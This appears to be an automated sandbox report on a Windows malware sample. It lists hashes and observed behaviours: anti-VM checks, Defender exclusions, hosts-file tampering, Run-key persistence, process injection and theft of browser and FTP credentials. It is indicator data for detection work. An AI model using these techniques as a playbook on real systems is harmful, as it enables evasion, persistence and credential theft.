Analysis
- max time kernel
150s - max time network
144s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
07/08/2026, 12:11
Static task
static1
Behavioral task
behavioral1
Sample
file.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
file.exe
Resource
win11ltsc2024-20260709-en
General
- Target file.exe
- Size 4.0MB
- Sample260807-pcq35svdpg
- SHA256 30064a241c39541e287ccbe04f1027a037a10918528384479d27b53a23c2b1aa
- MD5 01f84e942908ccb2fc657d9dd1caf8b5
- SHA1 c6cc775f76f0aced85206c313b452f29334c6ac9
- SHA512 3eb0a647d6b5dc832ac58f2783aa58f3b44884adcf7040fe0030001b87df443773fd136dc45b52d4dc85f85faf593e58d8a6ef35d55735a40bced332c2f82495
- SSDEEP 49152:or6eizASPXwsy0kCfMNsuNATM93rsvkENKT9iDMzwKo4MIwXZ8fhsQWLg5sR:oFfckCEtiM93rsvkEETBzc4MvCZwLms
- TLSH T108165A07BC9548F6C0A5A73189B74256BA64BC0C5B3233D72E60AFB82F727C06E75B54
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
description pid Process procid_target PID 2408 created 616 2408 powershell.EXE 5 PID 3144 created 616 3144 powershell.EXE 5 - Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 5 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Chrome140.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Chrome140.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ updater.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 324dcd76.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 6cabf5e4.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2056 powershell.exe 3988 powershell.exe 2408 powershell.EXE 3144 powershell.EXE - Downloads MZ/PE file 1 IoCs
flow pid Process 59 1104 file.exe - Drops file in Drivers directory 2 IoCs
description ioc Process File created C:\Windows\system32\drivers\etc\hosts 324dcd76.exe File created C:\Windows\system32\drivers\etc\hosts updater.exe - Checks BIOS information in registry 2 TTPs 10 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion Chrome140.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion Chrome140.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion updater.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 324dcd76.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 6cabf5e4.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Chrome140.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion updater.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 324dcd76.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 6cabf5e4.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Chrome140.exe - Creates new service(s) 2 TTPs
- Executes dropped EXE 5 IoCs
pid Process 1116 6cabf5e4.exe 2264 324dcd76.exe 3484 Chrome140.exe 3544 Chrome140.exe 924 updater.exe - Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
-
resource yara_rule behavioral1/files/0x000400000001e6a3-89.dat themida behavioral1/memory/1116-91-0x0000000000350000-0x0000000000DEB000-memory.dmp themida behavioral1/files/0x0008000000024664-95.dat themida behavioral1/memory/2264-97-0x00007FF74C520000-0x00007FF74D4D6000-memory.dmp themida behavioral1/memory/2264-96-0x00007FF74C520000-0x00007FF74D4D6000-memory.dmp themida behavioral1/memory/1116-100-0x0000000000350000-0x0000000000DEB000-memory.dmp themida behavioral1/memory/1116-99-0x0000000000350000-0x0000000000DEB000-memory.dmp themida behavioral1/memory/1116-98-0x0000000000350000-0x0000000000DEB000-memory.dmp themida behavioral1/memory/1116-102-0x0000000000350000-0x0000000000DEB000-memory.dmp themida behavioral1/memory/1116-103-0x0000000000350000-0x0000000000DEB000-memory.dmp themida behavioral1/memory/1116-104-0x0000000000350000-0x0000000000DEB000-memory.dmp themida behavioral1/memory/1116-101-0x0000000000350000-0x0000000000DEB000-memory.dmp themida behavioral1/memory/3484-118-0x0000000000930000-0x00000000013CB000-memory.dmp themida behavioral1/memory/3544-130-0x0000000000930000-0x00000000013CB000-memory.dmp themida behavioral1/memory/2264-140-0x00007FF74C520000-0x00007FF74D4D6000-memory.dmp themida behavioral1/memory/2264-160-0x00007FF74C520000-0x00007FF74D4D6000-memory.dmp themida behavioral1/memory/924-164-0x00007FF6EA0A0000-0x00007FF6EB056000-memory.dmp themida behavioral1/memory/924-997-0x00007FF6EA0A0000-0x00007FF6EB056000-memory.dmp themida - Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Chrome140 = "C:\\ProgramData\\Chrome141\\Chrome140.exe" Chrome140.exe - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks whether UAC is enabled 1 TTPs 5 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Chrome140.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA updater.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 6cabf5e4.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 324dcd76.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Chrome140.exe - Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 4188 powercfg.exe 4716 powercfg.exe 2756 powercfg.exe 5044 powercfg.exe 4256 powercfg.exe 888 powercfg.exe 4640 powercfg.exe 3600 powercfg.exe - Drops file in System32 directory 8 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\WebCache\V01.chk DllHost.exe File opened for modification C:\Windows\system32\MRT.exe 324dcd76.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\MRT.exe updater.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\System32\Tasks\dialersvc64 svchost.exe - Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs
pid Process 1104 file.exe 1116 6cabf5e4.exe 2264 324dcd76.exe 3484 Chrome140.exe 3544 Chrome140.exe 924 updater.exe - Suspicious use of SetThreadContext 6 IoCs
description pid Process procid_target PID 2264 set thread context of 3320 2264 324dcd76.exe 126 PID 2408 set thread context of 680 2408 powershell.EXE 142 PID 924 set thread context of 2680 924 updater.exe 160 PID 924 set thread context of 3244 924 updater.exe 165 PID 924 set thread context of 2932 924 updater.exe 166 PID 3144 set thread context of 1468 3144 powershell.EXE 169 - Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3704 sc.exe 220 sc.exe 5064 sc.exe 4064 sc.exe 1052 sc.exe 2844 sc.exe 1908 sc.exe 4140 sc.exe 3204 sc.exe 396 sc.exe 3148 sc.exe 3544 sc.exe 2032 sc.exe 2056 sc.exe - Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5048 cmd.exe 3352 cmd.exe 4528 cmd.exe 3488 cmd.exe - System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 6cabf5e4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Chrome140.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Chrome140.exe - Checks processor information in registry 2 TTPs 8 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 file.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString file.exe Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information wmiprvse.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3484 Chrome140.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1104 file.exe 1104 file.exe 1104 file.exe 1104 file.exe 1104 file.exe 1104 file.exe 1104 file.exe 1104 file.exe 1104 file.exe 1104 file.exe 1104 file.exe 1104 file.exe 1104 file.exe 1104 file.exe 1104 file.exe 1104 file.exe 1104 file.exe 1104 file.exe 1116 6cabf5e4.exe 1116 6cabf5e4.exe 3484 Chrome140.exe 3484 Chrome140.exe 3544 Chrome140.exe 3544 Chrome140.exe 2264 324dcd76.exe 2056 powershell.exe 2056 powershell.exe 2264 324dcd76.exe 2264 324dcd76.exe 2264 324dcd76.exe 2264 324dcd76.exe 2264 324dcd76.exe 2264 324dcd76.exe 2264 324dcd76.exe 2264 324dcd76.exe 2264 324dcd76.exe 2264 324dcd76.exe 2264 324dcd76.exe 2264 324dcd76.exe 2264 324dcd76.exe 2264 324dcd76.exe 2264 324dcd76.exe 2408 powershell.EXE 2408 powershell.EXE 924 updater.exe 3988 powershell.exe 3988 powershell.exe 2408 powershell.EXE 680 dllhost.exe 680 dllhost.exe 680 dllhost.exe 680 dllhost.exe 924 updater.exe 924 updater.exe 924 updater.exe 924 updater.exe 924 updater.exe 924 updater.exe 924 updater.exe 924 updater.exe 924 updater.exe 924 updater.exe 924 updater.exe 924 updater.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3212 Explorer.EXE - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1104 file.exe Token: SeDebugPrivilege 2056 powershell.exe Token: SeShutdownPrivilege 888 powercfg.exe Token: SeCreatePagefilePrivilege 888 powercfg.exe Token: SeShutdownPrivilege 4640 powercfg.exe Token: SeCreatePagefilePrivilege 4640 powercfg.exe Token: SeShutdownPrivilege 4256 powercfg.exe Token: SeCreatePagefilePrivilege 4256 powercfg.exe Token: SeShutdownPrivilege 5044 powercfg.exe Token: SeCreatePagefilePrivilege 5044 powercfg.exe Token: SeDebugPrivilege 2408 powershell.EXE Token: SeDebugPrivilege 3988 powershell.exe Token: SeDebugPrivilege 2408 powershell.EXE Token: SeDebugPrivilege 680 dllhost.exe Token: SeShutdownPrivilege 3600 powercfg.exe Token: SeCreatePagefilePrivilege 3600 powercfg.exe Token: SeShutdownPrivilege 4188 powercfg.exe Token: SeCreatePagefilePrivilege 4188 powercfg.exe Token: SeShutdownPrivilege 4716 powercfg.exe Token: SeCreatePagefilePrivilege 4716 powercfg.exe Token: SeShutdownPrivilege 2756 powercfg.exe Token: SeCreatePagefilePrivilege 2756 powercfg.exe Token: SeLockMemoryPrivilege 2932 dialer.exe Token: SeAssignPrimaryTokenPrivilege 1732 svchost.exe Token: SeIncreaseQuotaPrivilege 1732 svchost.exe Token: SeSecurityPrivilege 1732 svchost.exe Token: SeTakeOwnershipPrivilege 1732 svchost.exe Token: SeLoadDriverPrivilege 1732 svchost.exe Token: SeSystemtimePrivilege 1732 svchost.exe Token: SeBackupPrivilege 1732 svchost.exe Token: SeRestorePrivilege 1732 svchost.exe Token: SeShutdownPrivilege 1732 svchost.exe Token: SeSystemEnvironmentPrivilege 1732 svchost.exe Token: SeUndockPrivilege 1732 svchost.exe Token: SeManageVolumePrivilege 1732 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1732 svchost.exe Token: SeIncreaseQuotaPrivilege 1732 svchost.exe Token: SeSecurityPrivilege 1732 svchost.exe Token: SeTakeOwnershipPrivilege 1732 svchost.exe Token: SeLoadDriverPrivilege 1732 svchost.exe Token: SeSystemtimePrivilege 1732 svchost.exe Token: SeBackupPrivilege 1732 svchost.exe Token: SeRestorePrivilege 1732 svchost.exe Token: SeShutdownPrivilege 1732 svchost.exe Token: SeSystemEnvironmentPrivilege 1732 svchost.exe Token: SeUndockPrivilege 1732 svchost.exe Token: SeManageVolumePrivilege 1732 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1732 svchost.exe Token: SeIncreaseQuotaPrivilege 1732 svchost.exe Token: SeSecurityPrivilege 1732 svchost.exe Token: SeTakeOwnershipPrivilege 1732 svchost.exe Token: SeLoadDriverPrivilege 1732 svchost.exe Token: SeSystemtimePrivilege 1732 svchost.exe Token: SeBackupPrivilege 1732 svchost.exe Token: SeRestorePrivilege 1732 svchost.exe Token: SeShutdownPrivilege 1732 svchost.exe Token: SeSystemEnvironmentPrivilege 1732 svchost.exe Token: SeUndockPrivilege 1732 svchost.exe Token: SeManageVolumePrivilege 1732 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1732 svchost.exe Token: SeIncreaseQuotaPrivilege 1732 svchost.exe Token: SeSecurityPrivilege 1732 svchost.exe Token: SeTakeOwnershipPrivilege 1732 svchost.exe Token: SeLoadDriverPrivilege 1732 svchost.exe - Suspicious use of UnmapMainImage 32 IoCs
pid Process 3540 svchost.exe 3540 svchost.exe 3540 svchost.exe 3540 svchost.exe 3540 svchost.exe 3540 svchost.exe 3540 svchost.exe 3540 svchost.exe 3540 svchost.exe 3540 svchost.exe 3540 svchost.exe 3540 svchost.exe 3540 svchost.exe 3540 svchost.exe 3540 svchost.exe 3540 svchost.exe 3540 svchost.exe 3540 svchost.exe 3540 svchost.exe 3540 svchost.exe 3540 svchost.exe 3540 svchost.exe 3540 svchost.exe 3540 svchost.exe 3540 svchost.exe 3540 svchost.exe 3540 svchost.exe 3540 svchost.exe 3540 svchost.exe 3540 svchost.exe 3540 svchost.exe 3540 svchost.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1104 wrote to memory of 3488 1104 file.exe 96 PID 3488 wrote to memory of 1116 3488 cmd.exe 98 PID 1104 wrote to memory of 5048 1104 file.exe 99 PID 5048 wrote to memory of 2264 5048 cmd.exe 101 PID 1116 wrote to memory of 3484 1116 6cabf5e4.exe 102 PID 3352 wrote to memory of 2284 3352 cmd.exe 112 PID 2264 wrote to memory of 3320 2264 324dcd76.exe 126 PID 2264 wrote to memory of 3320 2264 324dcd76.exe 126 PID 2264 wrote to memory of 3320 2264 324dcd76.exe 126 PID 2264 wrote to memory of 3320 2264 324dcd76.exe 126 PID 2264 wrote to memory of 3320 2264 324dcd76.exe 126 PID 2408 wrote to memory of 680 2408 powershell.EXE 142 PID 2408 wrote to memory of 680 2408 powershell.EXE 142 PID 2408 wrote to memory of 680 2408 powershell.EXE 142 PID 2408 wrote to memory of 680 2408 powershell.EXE 142 PID 2408 wrote to memory of 680 2408 powershell.EXE 142 PID 680 wrote to memory of 616 680 dllhost.exe 5 PID 680 wrote to memory of 672 680 dllhost.exe 7 PID 680 wrote to memory of 876 680 dllhost.exe 11 PID 680 wrote to memory of 1020 680 dllhost.exe 13 PID 680 wrote to memory of 436 680 dllhost.exe 14 PID 680 wrote to memory of 1076 680 dllhost.exe 16 PID 680 wrote to memory of 1180 680 dllhost.exe 18 PID 680 wrote to memory of 1200 680 dllhost.exe 19 PID 680 wrote to memory of 1208 680 dllhost.exe 20 PID 680 wrote to memory of 1216 680 dllhost.exe 21 PID 680 wrote to memory of 1316 680 dllhost.exe 22 PID 680 wrote to memory of 1324 680 dllhost.exe 23 PID 680 wrote to memory of 1344 680 dllhost.exe 24 PID 680 wrote to memory of 1444 680 dllhost.exe 25 PID 680 wrote to memory of 1456 680 dllhost.exe 26 PID 680 wrote to memory of 1596 680 dllhost.exe 27 PID 680 wrote to memory of 1624 680 dllhost.exe 28 PID 680 wrote to memory of 1640 680 dllhost.exe 29 PID 680 wrote to memory of 1776 680 dllhost.exe 30 PID 680 wrote to memory of 1848 680 dllhost.exe 31 PID 680 wrote to memory of 1892 680 dllhost.exe 32 PID 680 wrote to memory of 1912 680 dllhost.exe 33 PID 680 wrote to memory of 1996 680 dllhost.exe 34 PID 680 wrote to memory of 1748 680 dllhost.exe 35 PID 680 wrote to memory of 1816 680 dllhost.exe 36 PID 680 wrote to memory of 1732 680 dllhost.exe 37 PID 680 wrote to memory of 2180 680 dllhost.exe 38 PID 680 wrote to memory of 2212 680 dllhost.exe 39 PID 680 wrote to memory of 2324 680 dllhost.exe 40 PID 680 wrote to memory of 2492 680 dllhost.exe 42 PID 680 wrote to memory of 2508 680 dllhost.exe 43 PID 680 wrote to memory of 2696 680 dllhost.exe 44 PID 680 wrote to memory of 2704 680 dllhost.exe 45 PID 680 wrote to memory of 2836 680 dllhost.exe 47 PID 680 wrote to memory of 2876 680 dllhost.exe 48 PID 680 wrote to memory of 2888 680 dllhost.exe 49 PID 680 wrote to memory of 2896 680 dllhost.exe 50 PID 680 wrote to memory of 2936 680 dllhost.exe 51 PID 680 wrote to memory of 2960 680 dllhost.exe 52 PID 680 wrote to memory of 3004 680 dllhost.exe 53 PID 680 wrote to memory of 768 680 dllhost.exe 54 PID 680 wrote to memory of 3184 680 dllhost.exe 55 PID 680 wrote to memory of 3212 680 dllhost.exe 56 PID 680 wrote to memory of 3432 680 dllhost.exe 57 PID 680 wrote to memory of 3604 680 dllhost.exe 58 PID 680 wrote to memory of 3776 680 dllhost.exe 60 PID 680 wrote to memory of 4012 680 dllhost.exe 62 PID 680 wrote to memory of 4636 680 dllhost.exe 65 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:616
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:436
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{a9e95195-296e-4767-b2c5-cc198043d48e}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:680
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{2f525dce-05a1-4dae-9652-3b9812d124cc}2⤵PID:1468
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:672
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C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-18bf4074-5c81-496f-bd2d-2e233e5a7f59 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-b3aea7a8-3f9d-4d4d-b9ec-47ee858b1617 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-c147bee0-f69b-4541-9c64-067bb4abc9cb -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-c14dc7cd-997e-4a60-80cb-a1782e474c4c -LifetimeId:9283178b-fa9e-4d4d-bf04-bc6273a3e924 -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵PID:876
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:1020
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1076
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1180
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1200
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1208
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1216 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:3004
